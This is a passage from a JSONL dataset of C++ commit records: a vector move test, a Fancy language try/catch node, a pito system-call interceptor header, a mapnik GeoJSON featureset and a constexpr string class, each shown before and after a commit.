vect2 = std::move(vect);\n    std::cout << \"Vect1 empty after std::move: \" << vect.empty();\n    check(vect.empty() == true);\n    int sum = std::accumulate(vect2.begin(), vect2.end(), 0);\n    std::cout << \"Vect2 sum after std::move: \" << sum;\n    check(sum == 123 * size);\n  }\n\n  std::cout << std::endl;\n  std::cout << \"All tests passed successfully!\" << std::endl;\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/..\/..\/vendor\/gc\/include\/gc.h\"\n#include \"..\/..\/..\/vendor\/gc\/include\/gc_cpp.h\"\n#include \"..\/..\/..\/vendor\/gc\/include\/gc_allocator.h\"\n\n#include \"try_catch_block.h\"\n#include \"..\/..\/scope.h\"\n\nnamespace fancy {\n  namespace parser {\n    namespace nodes {\n\n      \/\/ ExceptionHandler\n\n      ExceptionHandler::ExceptionHandler(Identifier* exception_class_name,\n                                         Identifier* local_name,\n                                         Expression* body) :\n        _exception_class_name(exception_class_name),\n        _exception_class(0),\n        _local_name(local_name),\n        _body(body)\n      {\n      }\n\n      bool ExceptionHandler::can_handle(Class* the_class, Scope *scope)\n      {\n        _exception_class = dynamic_cast<Class*>(scope->get(_exception_class_name->name()));\n        if(_exception_class) {\n          return the_class->subclass_of(_exception_class);\n        }\n        return false;\n      }\n\n      FancyObject* ExceptionHandler::handle(FancyException* exception, Scope *scope)\n      {\n        Scope *catch_scope = new Scope(scope);\n        if(_local_name->name() != \"\") {\n          scope->define(_local_name->name(), exception);\n        }\n        return _body->eval(catch_scope);\n      }\n\n      \/\/ TryCatchBlock\n\n      TryCatchBlock::TryCatchBlock(ExpressionList* body,\n                                   except_handler_list* except_handlers) :\n        _body(body),\n        _finally_block(NULL)\n      {\n        init_except_handlers(except_handlers);\n      }\n\n      TryCatchBlock::TryCatchBlock(ExpressionList* body,\n                                   except_handler_list* except_handlers,\n                                   ExpressionList* finally_block) :\n        _body(body),\n        _finally_block(finally_block)\n      {\n        init_except_handlers(except_handlers);\n      }\n\n      TryCatchBlock::TryCatchBlock(ExpressionList* body,\n                                   list<ExceptionHandler*> except_handlers) :\n        _body(body),\n        _except_handlers(except_handlers),\n        _finally_block(NULL)\n      {\n      }\n\n      TryCatchBlock::TryCatchBlock(ExpressionList* body,\n                                   list<ExceptionHandler*> except_handlers,\n                                   ExpressionList* finally_block) :\n        _body(body),\n        _except_handlers(except_handlers),\n        _finally_block(finally_block)\n      {\n      }\n\n      FancyObject* TryCatchBlock::eval(Scope *scope)\n      {\n        \/\/ OK, I admit this code looks kinda ugly. But it's pretty\n        \/\/ simple actually:\n        \/\/ Try to simply eval the body.\n        \/\/ If there's a finally block defined, run it afterwars, then\n        \/\/ return its last value.\n        \/\/ If the body evaluation raises an exception:\n        \/\/ -> check for an exception handler.\n        \/\/ Again, always make sure that a finally block gets run, if\n        \/\/ defined.\n\n        try {\n          if(!_finally_block) {\n            return _body->eval(scope);\n          } else {\n            _body->eval(scope);\n            return _finally_block->eval(scope);\n          }\n        } catch(FancyException* ex) {\n          for(list<ExceptionHandler*>::iterator it = _except_handlers.begin();\n              it != _except_handlers.end();\n              it++) {\n            if((*it)->can_handle(ex->exception_class(), scope)) {\n              FancyObject* retval = (*it)->handle(ex, scope);\n              \/\/ eval finally block if any given\n              if(_finally_block) {\n                retval = _finally_block->eval(scope);\n              }\n              return retval;\n            }\n          }\n          \/\/ always eval finally block!\n          if(_finally_block) {\n            _finally_block->eval(scope);\n          }\n          throw ex; \/\/ no handler defined\n        }\n      }\n\n      void TryCatchBlock::init_except_handlers(except_handler_list* except_handlers)\n      {\n        for(except_handler_list *tmp = except_handlers; tmp != NULL; tmp = tmp->next) {\n          _except_handlers.push_front(tmp->handler);\n        }\n      }\n    }\n  }\n}\n<commit_msg>use local stack-allocated Scope object in ExceptionHandler#handle() and define the exception's local name within the catch_scope.<commit_after>#include \"..\/..\/..\/vendor\/gc\/include\/gc.h\"\n#include \"..\/..\/..\/vendor\/gc\/include\/gc_cpp.h\"\n#include \"..\/..\/..\/vendor\/gc\/include\/gc_allocator.h\"\n\n#include \"try_catch_block.h\"\n#include \"..\/..\/scope.h\"\n\nnamespace fancy {\n  namespace parser {\n    namespace nodes {\n\n      \/\/ ExceptionHandler\n\n      ExceptionHandler::ExceptionHandler(Identifier* exception_class_name,\n                                         Identifier* local_name,\n                                         Expression* body) :\n        _exception_class_name(exception_class_name),\n        _exception_class(0),\n        _local_name(local_name),\n        _body(body)\n      {\n      }\n\n      bool ExceptionHandler::can_handle(Class* the_class, Scope *scope)\n      {\n        _exception_class = dynamic_cast<Class*>(scope->get(_exception_class_name->name()));\n        if(_exception_class) {\n          return the_class->subclass_of(_exception_class);\n        }\n        return false;\n      }\n\n      FancyObject* ExceptionHandler::handle(FancyException* exception, Scope *scope)\n      {\n        \/\/ Scope *catch_scope = new Scope(scope);\n        Scope catch_scope(scope);\n        if(_local_name->name() != \"\") {\n          catch_scope.define(_local_name->name(), exception);\n        }\n        return _body->eval(&catch_scope);\n      }\n\n      \/\/ TryCatchBlock\n\n      TryCatchBlock::TryCatchBlock(ExpressionList* body,\n                                   except_handler_list* except_handlers) :\n        _body(body),\n        _finally_block(NULL)\n      {\n        init_except_handlers(except_handlers);\n      }\n\n      TryCatchBlock::TryCatchBlock(ExpressionList* body,\n                                   except_handler_list* except_handlers,\n                                   ExpressionList* finally_block) :\n        _body(body),\n        _finally_block(finally_block)\n      {\n        init_except_handlers(except_handlers);\n      }\n\n      TryCatchBlock::TryCatchBlock(ExpressionList* body,\n                                   list<ExceptionHandler*> except_handlers) :\n        _body(body),\n        _except_handlers(except_handlers),\n        _finally_block(NULL)\n      {\n      }\n\n      TryCatchBlock::TryCatchBlock(ExpressionList* body,\n                                   list<ExceptionHandler*> except_handlers,\n                                   ExpressionList* finally_block) :\n        _body(body),\n        _except_handlers(except_handlers),\n        _finally_block(finally_block)\n      {\n      }\n\n      FancyObject* TryCatchBlock::eval(Scope *scope)\n      {\n        \/\/ OK, I admit this code looks kinda ugly. But it's pretty\n        \/\/ simple actually:\n        \/\/ Try to simply eval the body.\n        \/\/ If there's a finally block defined, run it afterwars, then\n        \/\/ return its last value.\n        \/\/ If the body evaluation raises an exception:\n        \/\/ -> check for an exception handler.\n        \/\/ Again, always make sure that a finally block gets run, if\n        \/\/ defined.\n\n        try {\n          if(!_finally_block) {\n            return _body->eval(scope);\n          } else {\n            _body->eval(scope);\n            return _finally_block->eval(scope);\n          }\n        } catch(FancyException* ex) {\n          for(list<ExceptionHandler*>::iterator it = _except_handlers.begin();\n              it != _except_handlers.end();\n              it++) {\n            if((*it)->can_handle(ex->exception_class(), scope)) {\n              FancyObject* retval = (*it)->handle(ex, scope);\n              \/\/ eval finally block if any given\n              if(_finally_block) {\n                retval = _finally_block->eval(scope);\n              }\n              return retval;\n            }\n          }\n          \/\/ always eval finally block!\n          if(_finally_block) {\n            _finally_block->eval(scope);\n          }\n          throw ex; \/\/ no handler defined\n        }\n      }\n\n      void TryCatchBlock::init_except_handlers(except_handler_list* except_handlers)\n      {\n        for(except_handler_list *tmp = except_handlers; tmp != NULL; tmp = tmp->next) {\n          _except_handlers.push_front(tmp->handler);\n        }\n      }\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef _PITO_INTERCEPTOR_SYSTEM_CALL_HPP_\n#define _PITO_INTERCEPTOR_SYSTEM_CALL_HPP_\n\n#include <pito\/interceptor\/Library.hpp>\n#include <sys\/types.h>\n\nnamespace pito { namespace interceptor {\n\nnamespace system_call {\n    struct open {};\n};\n\ntemplate <class Tag>\nstruct SystemCall;\n\ntemplate <class LibraryTag, class Ret, class... Args>\nstruct SystemCallHelper {\n    typedef Ret (*call_t)(Args...);\n\n    SystemCallHelper(std::string const& name) : call_(0), name_(name) {}\n\n    Ret operator()(Args... args) {\n        if (! call_) {\n            call_ = dlsym(library::instance<LibraryTag>().handle(), name_.c_str());\n        }\n        return call_(args...);\n    }\n\n  private:\n    call_t call_;\n    std::string name_;\n};\n\ntemplate <>\nstruct SystemCall<system_call::open> \n  : SystemCallHelper<library::c, int, const char *, int, mode_t> \n{\n    SystemCall() : SystemCallHelper<library::c, int, const char *, int, mode_t>(\"open\") {}\n};\n\n} }\n\n#endif\n<commit_msg>instance for system call<commit_after>#ifndef _PITO_INTERCEPTOR_SYSTEM_CALL_HPP_\n#define _PITO_INTERCEPTOR_SYSTEM_CALL_HPP_\n\n#include <pito\/interceptor\/Library.hpp>\n#include <sys\/types.h>\n\nnamespace pito { namespace interceptor {\n\nnamespace system_call {\n    struct open {};\n};\n\ntemplate <class Tag>\nstruct SystemCall;\n\ntemplate <class LibraryTag, class Ret, class... Args>\nstruct SystemCallHelper {\n    typedef Ret (*call_t)(Args...);\n\n    SystemCallHelper(std::string const& name) : call_(0), name_(name) {}\n\n    Ret operator()(Args... args) {\n        if (! call_) {\n            call_ = dlsym(library::instance<LibraryTag>().handle(), name_.c_str());\n        }\n        return call_(args...);\n    }\n\n  private:\n    call_t call_;\n    std::string name_;\n};\n\ntemplate <>\nstruct SystemCall<system_call::open> \n  : SystemCallHelper<library::c, int, const char *, int, mode_t> \n{\n    SystemCall() : SystemCallHelper<library::c, int, const char *, int, mode_t>(\"open\") {}\n};\n\nnamespace library {\n    template <class Tag>\n    SystemCall<Tag>& instance() {\n        return singleton_default< SystemCall<Tag> >::instance();\n    }\n}\n\n} }\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ mapnik\n#include <mapnik\/feature_factory.hpp>\n#include <mapnik\/geometry.hpp>\n\n\/\/ yajl\n#include \"yajl\/yajl_parse.h\"\n\n#include \"jit_featureset.hpp\"\n\nmapnik::transcoder* tr = new mapnik::transcoder(\"utf-8\");\n\nstatic int gj_start_map(void * ctx)\n{\n    return 1;\n}\n\nstatic int gj_map_key(void * ctx, const unsigned char* key, size_t t)\n{\n    std::string key_ = std::string((const char*) key, t);\n    if (((fm *) ctx)->state == parser_in_properties)\n    {\n        ((fm *) ctx)->property_name = key_;\n    }\n    else\n    {\n        if (key_ == \"features\")\n        {\n            ((fm *) ctx)->state = parser_in_features;\n        }\n        else if (key_ == \"geometry\")\n        {\n            ((fm *) ctx)->state = parser_in_geometry;\n        }\n        else if ((((fm *) ctx)->state == parser_in_geometry) && (key_ == \"type\"))\n        {\n            ((fm *) ctx)->state = parser_in_type;\n        }\n        else if (key_ == \"properties\")\n        {\n            ((fm *) ctx)->state = parser_in_properties;\n        }\n        else if (key_ == \"coordinates\")\n        {\n            ((fm *) ctx)->state = parser_in_coordinates;\n        }\n    }\n    return 1;\n}\n\nstatic int gj_end_map(void * ctx)\n{\n    if ((((fm *) ctx)->state == parser_in_properties) ||\n        (((fm *) ctx)->state == parser_in_geometry))\n    {\n        ((fm *) ctx)->state = parser_in_feature;\n    }\n    else if (((fm *) ctx)->state == parser_in_feature)\n    {\n        if (((fm *) ctx)->geometry_type == \"Point\")\n        {\n            mapnik::geometry_type * pt;\n            pt = new mapnik::geometry_type(mapnik::Point);\n            pt->move_to(\n                ((fm *) ctx)->point_cache.at(0),\n                ((fm *) ctx)->point_cache.at(1));\n            ((fm *) ctx)->feature->add_geometry(pt);\n        }\n        if (((fm *) ctx)->geometry_type == \"LineString\")\n        {\n            mapnik::geometry_type * pt;\n            pt = new mapnik::geometry_type(mapnik::LineString);\n\n            pt->set_capacity(((fm *) ctx)->point_cache.size() \/ 2);\n            pt->move_to(\n                ((fm *) ctx)->point_cache.at(0),\n                ((fm *) ctx)->point_cache.at(1));\n\n            for (int i = 2; i < ((fm *) ctx)->point_cache.size(); i += 2) {\n                pt->line_to(\n                    ((fm *) ctx)->point_cache.at(i),\n                    ((fm *) ctx)->point_cache.at(i + 1));\n            }\n            ((fm *) ctx)->feature->add_geometry(pt);\n        }\n        ((fm *) ctx)->state = parser_in_features;\n        ((fm *) ctx)->done = 1;\n    }\n    return 1;\n}\n\nstatic int gj_null(void * ctx)\n{\n    if (((fm *) ctx)->state == parser_in_properties)\n    {\n        boost::put(*((fm *) ctx)->feature, ((fm *) ctx)->property_name, mapnik::value_null());\n    }\n    return 1;\n}\n\nstatic int gj_boolean(void * ctx, int x)\n{\n    if (((fm *) ctx)->state == parser_in_properties)\n    {\n        boost::put(*((fm *) ctx)->feature, ((fm *) ctx)->property_name, x);\n    }\n    return 1;\n}\n\nstatic int gj_number(void * ctx, const char* str, size_t t)\n{\n    std::string str_ = std::string((const char*) str, t);\n    double x = boost::lexical_cast<double>(str_);\n\n    if (((fm *) ctx)->state == parser_in_coordinates)\n    {\n        ((fm *) ctx)->point_cache.push_back(x);\n    }\n    if (((fm *) ctx)->state == parser_in_properties)\n    {\n        boost::put(*((fm *) ctx)->feature, ((fm *) ctx)->property_name, x);\n    }\n    return 1;\n}\n\nstatic int gj_string(void * ctx, const unsigned char* str, size_t t)\n{\n    std::string str_ = std::string((const char*) str, t);\n    if (((fm *) ctx)->state == parser_in_type)\n    {\n        ((fm *) ctx)->geometry_type = str_;\n    }\n    else if (((fm *) ctx)->state == parser_in_properties)\n    {\n        UnicodeString ustr = tr->transcode(str_.c_str());\n        boost::put(*((fm *) ctx)->feature, ((fm *) ctx)->property_name, ustr);\n    }\n    return 1;\n}\n\nstatic int gj_start_array(void * ctx)\n{\n    if (((fm *) ctx)->state == parser_in_coordinates)\n    {\n        ((fm *) ctx)->coord_dimensions++;\n    }\n    return 1;\n}\n\nstatic int gj_end_array(void * ctx)\n{\n    if (((fm *) ctx)->state == parser_in_coordinates)\n    {\n        ((fm *) ctx)->coord_dimensions--;\n        if (((fm *) ctx)->coord_dimensions < 1)\n        {\n            ((fm *) ctx)->state = parser_in_geometry;\n        }\n    }\n    else if (((fm *) ctx)->state == parser_in_features)\n    {\n        ((fm *) ctx)->state = parser_outside;\n    }\n    return 1;\n}\n\nstatic yajl_callbacks callbacks = {\n    gj_null,\n    gj_boolean,\n    NULL,\n    NULL,\n    gj_number,\n    gj_string,\n    gj_start_map,\n    gj_map_key,\n    gj_end_map,\n    gj_start_array,\n    gj_end_array\n};\n\njit_featureset::jit_featureset(\n    mapnik::box2d<double> const& box,\n    std::string input_string,\n    std::string const& encoding)\n    : box_(box),\n      feature_id_(1),\n      input_string_(input_string),\n      tr_(new mapnik::transcoder(encoding)) {\n\n    state_bundle.state = parser_outside;\n    state_bundle.done = 0;\n\n    \/\/ FIXME: manually free\n    hand = yajl_alloc(\n        &callbacks, NULL,\n        &state_bundle);\n\n    yajl_config(hand, yajl_allow_comments, 1);\n\n    mapnik::feature_ptr feature(mapnik::feature_factory::create(feature_id_));\n    state_bundle.feature = feature;\n\n\n    for (itt_ = 0; itt_ < input_string_.length(); itt_++) {\n\n        int parse_result;\n\n        parse_result = yajl_parse(hand,\n                (const unsigned char*) &input_string_[itt_], 1);\n\n        if (parse_result == yajl_status_error)\n        {\n            unsigned char *str = yajl_get_error(hand, 1,  (const unsigned char*) input_string_.c_str(), input_string_.length());\n            std::ostringstream errmsg;\n            errmsg << \"GeoJSON Plugin: invalid GeoJSON detected: \" << (const char*) str << \"\\n\";\n            yajl_free_error(hand, str);\n            throw mapnik::datasource_exception(errmsg.str());\n        }\n        else if (state_bundle.done == 1)\n        {\n            features_.push_back(state_bundle.feature);\n\n            feature_id_++;\n            mapnik::feature_ptr feature(mapnik::feature_factory::create(feature_id_));\n\n            \/\/ reset\n            state_bundle.point_cache.clear();\n            state_bundle.done = 0;\n            state_bundle.geometry_type = \"\";\n            state_bundle.feature = feature;\n\n        }\n\n    }\n}\n\njit_featureset::~jit_featureset() { }\n\nmapnik::feature_ptr jit_featureset::next()\n{\n    feature_id_++;\n    if (feature_id_ <= features_.size())\n    {\n        return features_.at(feature_id_ - 1);\n    }\n    else\n    {\n        return mapnik::feature_ptr();\n    }\n}\n<commit_msg>Featureset returning features from HTTP<commit_after>\/\/ mapnik\n#include <mapnik\/feature_factory.hpp>\n#include <mapnik\/geometry.hpp>\n\n\/\/ yajl\n#include \"yajl\/yajl_parse.h\"\n\n#include \"jit_featureset.hpp\"\n\nmapnik::transcoder* tr = new mapnik::transcoder(\"utf-8\");\n\nstatic int gj_start_map(void * ctx)\n{\n    return 1;\n}\n\nstatic int gj_map_key(void * ctx, const unsigned char* key, size_t t)\n{\n    std::string key_ = std::string((const char*) key, t);\n    if (((fm *) ctx)->state == parser_in_properties)\n    {\n        ((fm *) ctx)->property_name = key_;\n    }\n    else\n    {\n        if (key_ == \"features\")\n        {\n            ((fm *) ctx)->state = parser_in_features;\n        }\n        else if (key_ == \"geometry\")\n        {\n            ((fm *) ctx)->state = parser_in_geometry;\n        }\n        else if ((((fm *) ctx)->state == parser_in_geometry) && (key_ == \"type\"))\n        {\n            ((fm *) ctx)->state = parser_in_type;\n        }\n        else if (key_ == \"properties\")\n        {\n            ((fm *) ctx)->state = parser_in_properties;\n        }\n        else if (key_ == \"coordinates\")\n        {\n            ((fm *) ctx)->state = parser_in_coordinates;\n        }\n    }\n    return 1;\n}\n\nstatic int gj_end_map(void * ctx)\n{\n    if ((((fm *) ctx)->state == parser_in_properties) ||\n        (((fm *) ctx)->state == parser_in_geometry))\n    {\n        ((fm *) ctx)->state = parser_in_feature;\n    }\n    else if (((fm *) ctx)->state == parser_in_feature)\n    {\n        if (((fm *) ctx)->geometry_type == \"Point\")\n        {\n            mapnik::geometry_type * pt;\n            pt = new mapnik::geometry_type(mapnik::Point);\n            pt->move_to(\n                ((fm *) ctx)->point_cache.at(0),\n                ((fm *) ctx)->point_cache.at(1));\n            ((fm *) ctx)->feature->add_geometry(pt);\n        }\n        if (((fm *) ctx)->geometry_type == \"LineString\")\n        {\n            mapnik::geometry_type * pt;\n            pt = new mapnik::geometry_type(mapnik::LineString);\n\n            pt->set_capacity(((fm *) ctx)->point_cache.size() \/ 2);\n            pt->move_to(\n                ((fm *) ctx)->point_cache.at(0),\n                ((fm *) ctx)->point_cache.at(1));\n\n            for (int i = 2; i < ((fm *) ctx)->point_cache.size(); i += 2) {\n                pt->line_to(\n                    ((fm *) ctx)->point_cache.at(i),\n                    ((fm *) ctx)->point_cache.at(i + 1));\n            }\n            ((fm *) ctx)->feature->add_geometry(pt);\n        }\n        ((fm *) ctx)->state = parser_in_features;\n        ((fm *) ctx)->done = 1;\n    }\n    return 1;\n}\n\nstatic int gj_null(void * ctx)\n{\n    if (((fm *) ctx)->state == parser_in_properties)\n    {\n        boost::put(*((fm *) ctx)->feature, ((fm *) ctx)->property_name, mapnik::value_null());\n    }\n    return 1;\n}\n\nstatic int gj_boolean(void * ctx, int x)\n{\n    if (((fm *) ctx)->state == parser_in_properties)\n    {\n        boost::put(*((fm *) ctx)->feature, ((fm *) ctx)->property_name, x);\n    }\n    return 1;\n}\n\nstatic int gj_number(void * ctx, const char* str, size_t t)\n{\n    std::string str_ = std::string((const char*) str, t);\n    double x = boost::lexical_cast<double>(str_);\n\n    if (((fm *) ctx)->state == parser_in_coordinates)\n    {\n        ((fm *) ctx)->point_cache.push_back(x);\n    }\n    if (((fm *) ctx)->state == parser_in_properties)\n    {\n        boost::put(*((fm *) ctx)->feature, ((fm *) ctx)->property_name, x);\n    }\n    return 1;\n}\n\nstatic int gj_string(void * ctx, const unsigned char* str, size_t t)\n{\n    std::string str_ = std::string((const char*) str, t);\n    if (((fm *) ctx)->state == parser_in_type)\n    {\n        ((fm *) ctx)->geometry_type = str_;\n    }\n    else if (((fm *) ctx)->state == parser_in_properties)\n    {\n        UnicodeString ustr = tr->transcode(str_.c_str());\n        boost::put(*((fm *) ctx)->feature, ((fm *) ctx)->property_name, ustr);\n    }\n    return 1;\n}\n\nstatic int gj_start_array(void * ctx)\n{\n    if (((fm *) ctx)->state == parser_in_coordinates)\n    {\n        ((fm *) ctx)->coord_dimensions++;\n    }\n    return 1;\n}\n\nstatic int gj_end_array(void * ctx)\n{\n    if (((fm *) ctx)->state == parser_in_coordinates)\n    {\n        ((fm *) ctx)->coord_dimensions--;\n        if (((fm *) ctx)->coord_dimensions < 1)\n        {\n            ((fm *) ctx)->state = parser_in_geometry;\n        }\n    }\n    else if (((fm *) ctx)->state == parser_in_features)\n    {\n        ((fm *) ctx)->state = parser_outside;\n    }\n    return 1;\n}\n\nstatic yajl_callbacks callbacks = {\n    gj_null,\n    gj_boolean,\n    NULL,\n    NULL,\n    gj_number,\n    gj_string,\n    gj_start_map,\n    gj_map_key,\n    gj_end_map,\n    gj_start_array,\n    gj_end_array\n};\n\njit_featureset::jit_featureset(\n    mapnik::box2d<double> const& box,\n    std::string input_string,\n    std::string const& encoding)\n    : box_(box),\n      feature_id_(1),\n      input_string_(input_string),\n      tr_(new mapnik::transcoder(encoding)) {\n\n    state_bundle.state = parser_outside;\n    state_bundle.done = 0;\n\n    \/\/ FIXME: manually free\n    hand = yajl_alloc(\n        &callbacks, NULL,\n        &state_bundle);\n\n    yajl_config(hand, yajl_allow_comments, 1);\n    yajl_config(hand, yajl_allow_trailing_garbage, 1);\n\n    mapnik::feature_ptr feature(mapnik::feature_factory::create(feature_id_));\n    state_bundle.feature = feature;\n\n\n    for (itt_ = 0; itt_ < input_string_.length(); itt_++) {\n\n        int parse_result;\n\n        parse_result = yajl_parse(hand,\n                (const unsigned char*) &input_string_[itt_], 1);\n\n        if (parse_result == yajl_status_error)\n        {\n            unsigned char *str = yajl_get_error(hand, 1,  (const unsigned char*) input_string_.c_str(), input_string_.length());\n            std::ostringstream errmsg;\n            errmsg << \"GeoJSON Plugin: invalid GeoJSON detected: \" << (const char*) str << \"\\n\";\n            yajl_free_error(hand, str);\n            throw mapnik::datasource_exception(errmsg.str());\n        }\n        else if (state_bundle.done == 1)\n        {\n            features_.push_back(state_bundle.feature);\n\n            feature_id_++;\n            mapnik::feature_ptr feature(mapnik::feature_factory::create(feature_id_));\n\n            \/\/ reset\n            state_bundle.point_cache.clear();\n            state_bundle.done = 0;\n            state_bundle.geometry_type = \"\";\n            state_bundle.feature = feature;\n\n        }\n    }\n    feature_id_ = 0;\n}\n\njit_featureset::~jit_featureset() { }\n\nmapnik::feature_ptr jit_featureset::next()\n{\n    feature_id_++;\n    if (feature_id_ <= features_.size())\n    {\n        return features_.at(feature_id_ - 1);\n    }\n    else\n    {\n        return mapnik::feature_ptr();\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <stdexcept>\n#include <limits>\n#include <type_traits>\n\nnamespace const_expr_string\n{\n    \/\/ Definition\n    template<typename CharT>\n    class const_expr_string\n    {\n        public:\n            using value_type = CharT;\n            using traits_type = std::char_traits<value_type>;\n            using size_type = size_t;\n            using difference_type = std::ptrdiff_t;\n            using const_pointer = const CharT *;\n            using pointer = const_pointer;\n            using const_reference = const CharT&;\n            using reference = const_reference;\n            using const_iterator = const CharT*;\n            using iterator = const_iterator;\n            using const_reverse_iterator = std::reverse_iterator<const_iterator>;\n            using reverse_iterator = const_reverse_iterator;\n            static constexpr size_type npos = size_type(-1);\n\n            \/\/ Constructors\n            constexpr const_expr_string(const_pointer data) noexcept;\n            constexpr const_expr_string(const const_expr_string<CharT>& other) = default;\n\n            \/\/ Size based\n            constexpr size_t length() const noexcept;\n            constexpr size_t size() const noexcept;\n            constexpr size_type max_size() const noexcept;\n            constexpr bool empty() const noexcept;\n\n            \/\/ Conversion operator\n            constexpr operator const_pointer() const noexcept;\n\n            \/\/ Iterators\n            constexpr iterator begin() const noexcept;\n            constexpr const_iterator cbegin() const noexcept;\n            constexpr iterator end() const noexcept;\n            constexpr const_iterator cend() const noexcept;\n\n            \/\/ TODO: Fix reverse_iterator functions!\n            \/\/Can't be constexpr without a reverse_iterator type\n            \/\/constexpr const_reverse_iterator rbegin() const noexcept;\n            \/\/constexpr const_reverse_iterator crbegin() const noexcept;\n            \/\/constexpr const_reverse_iterator rend() const noexcept;\n            \/\/constexpr const_reverse_iterator crend() const noexcept;\n\n            \/\/ Indexing\n            constexpr const_reference operator[](size_type pos) const;\n            constexpr const_reference at(size_type pos) const;\n\n            \/\/ ref positions\n            constexpr const_reference front() const;\n            constexpr const_reference back() const;\n\n            \/\/ Data member\n            constexpr const_pointer data() const noexcept;\n\n            \/\/ Compares\n            constexpr int compare (const_expr_string v) const;\n            constexpr int compare (size_type pos1, size_type count1, const_expr_string v) const;\n            constexpr int compare (size_type pos1, size_type count1, const_expr_string v,\n                    size_type pos2, size_type count2) const;\n            constexpr int compare (const_pointer s) const; \/\/ TODO: not implemented\n            constexpr int compare (size_type pos1, size_type count1, const_pointer s) const; \/\/ TODO: not implemented\n            constexpr int compare (size_type pos1, size_type count1, const_pointer s, size_type count2) const; \/\/ TODO: not implemented\n\n            \/\/ Finds\n            constexpr size_type find(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type rfind(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type rfind(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type rfind(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type rfind(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_of(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_of(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_of(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_of(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_of(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_of(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_of(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_of(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_not_of(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_not_of(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_not_of(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_first_not_of(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_not_of(const_expr_string v, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_not_of(value_type c, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_not_of(const_pointer, size_type pos = 0) const;\/\/ TODO: not implemented\n            constexpr size_type find_last_not_of(const_pointer, size_type pos, size_type count) const;\/\/ TODO: not implemented\n        private:\n            const_pointer _data;\n            static constexpr size_type str_len(const char* str)\n            {\n                size_type i = 0;\n                while (str[i] != '\\0') ++i;\n                return i;\n            }\n    };\n\n    \/\/ Implementation\n    template <typename CharT>\n    constexpr const_expr_string<CharT>::const_expr_string(\n            const_expr_string<CharT>::const_pointer data) noexcept\n    : _data(data)\n    {\n    }\n\n    template <typename CharT>\n    constexpr const_expr_string<CharT>::operator\n            const_expr_string<CharT>::const_pointer() const noexcept\n    {\n        return _data;\n    }\n\n    template <typename CharT>\n    constexpr size_t const_expr_string<CharT>::length() const noexcept\n    {\n        return const_expr_string<CharT>::str_len(_data);\n    }\n\n    template <typename CharT>\n    constexpr size_t const_expr_string<CharT>::size() const noexcept\n    {\n        return length();\n    }\n\n    template <typename CharT>\n    constexpr typename const_expr_string<CharT>::iterator const_expr_string<CharT>::begin() const noexcept\n    {\n        return &*_data;\n    }\n\n    template <typename CharT>\n    constexpr typename const_expr_string<CharT>::const_iterator const_expr_string<CharT>::cbegin() const noexcept\n    {\n        return begin();\n    }\n\n    template <typename CharT>\n    constexpr typename const_expr_string<CharT>::iterator const_expr_string<CharT>::end() const noexcept\n    {\n        return _data + size();\n    }\n\n    template <typename CharT>\n    constexpr typename const_expr_string<CharT>::const_iterator const_expr_string<CharT>::cend() const noexcept\n    {\n        return end();\n    }\n\n    \/\/Can't be constexpr without a reverse_iterator type\n    \/\/template <typename CharT>\n    \/\/constexpr typename const_expr_string<CharT>::reverse_iterator const_expr_string<CharT>::rbegin() const noexcept\n    \/\/{\n    \/\/    return const_reverse_iterator(end());\n    \/\/}\n\n    \/\/template <typename CharT>\n    \/\/constexpr typename const_expr_string<CharT>::const_reverse_iterator const_expr_string<CharT>::crbegin() const noexcept\n    \/\/{\n    \/\/    return rbegin();\n    \/\/}\n\n    \/\/template <typename CharT>\n    \/\/constexpr typename const_expr_string<CharT>::reverse_iterator const_expr_string<CharT>::rend() const noexcept\n    \/\/{\n    \/\/    return const_reverse_iterator(begin());\n    \/\/}\n\n    \/\/template <typename CharT>\n    \/\/constexpr typename const_expr_string<CharT>::const_reverse_iterator const_expr_string<CharT>::crend() const noexcept\n    \/\/{\n    \/\/    return rend();\n    \/\/}\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_reference const_expr_string<CharT>::operator[](const_expr_string<CharT>::size_type pos) const\n    {\n        return _data[pos];\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_reference const_expr_string<CharT>::at(const_expr_string<CharT>::size_type pos) const\n    {\n        return pos >= size() ?\n            throw std::out_of_range(\"call to at with too large index\") :\n            operator[](pos);\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_pointer const_expr_string<CharT>::data() const noexcept\n    {\n        return _data;\n    }\n\n    template<typename CharT>\n    constexpr typename const_expr_string<CharT>::const_reference const_expr_string<CharT>::front() const\n    {\n        return 